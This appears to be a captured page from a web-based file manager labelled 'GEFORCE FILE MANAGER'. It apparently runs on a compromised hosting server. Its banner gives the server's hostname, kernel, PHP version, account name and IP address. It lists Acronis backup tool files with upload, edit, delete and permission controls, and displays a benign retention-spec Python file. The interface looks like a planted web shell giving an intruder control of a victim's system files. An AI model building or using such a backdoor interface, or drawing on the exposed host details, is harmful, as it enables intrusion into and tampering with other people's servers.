[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.20
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
lib
/
Acronis
/
PyTools
/
commands
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 __pycache__
SET
[ DEL ]
📄 auto_update.py
2,909 B
SET
[ EDIT ]
|
[ DEL ]
📄 protect.py
408 B
SET
[ EDIT ]
|
[ DEL ]
📄 retention.py
9,876 B
SET
[ EDIT ]
|
[ DEL ]
📄 retention_specs.py
1,284 B
SET
[ EDIT ]
|
[ DEL ]
📄 run_tool.py
817 B
SET
[ EDIT ]
|
[ DEL ]
📄 staging.py
732 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: retention_specs.py
import time SECONDS_IN_DAY = 86400 ACTIVITY_COMPLETED_STATE = 5 def get_days_before_time(days): return int(time.time()) - SECONDS_IN_DAY * days def completed_activities_by_amount(amount, days): return { 'pattern': [ ('^Is', 'string', 'Tol::History::Plain::Activity'), ('.State', 'dword', ACTIVITY_COMPLETED_STATE), ('.Period.FinishTime', 'sqword', 0), ('.Period.FinishTime^Less', 'sqword', get_days_before_time(days)), ], 'historical_order': True, 'objects_count_limit': amount, } def completed_activities_by_age_in_days(days): return { 'pattern': [ ('^Is', 'string', 'Tol::History::Plain::Activity'), ('.State', 'dword', ACTIVITY_COMPLETED_STATE), ('.Period.FinishTime', 'sqword', 0), ('.Period.FinishTime^Less', 'sqword', get_days_before_time(days)), ], 'historical_order': True, 'objects_count_limit': 0, } RETENTION_SPECS_CLOUD = [ completed_activities_by_age_in_days(60), completed_activities_by_amount(10000, 7) ] RETENTION_SPECS_ONPREM = [ completed_activities_by_age_in_days(60), completed_activities_by_amount(10000, 7) ]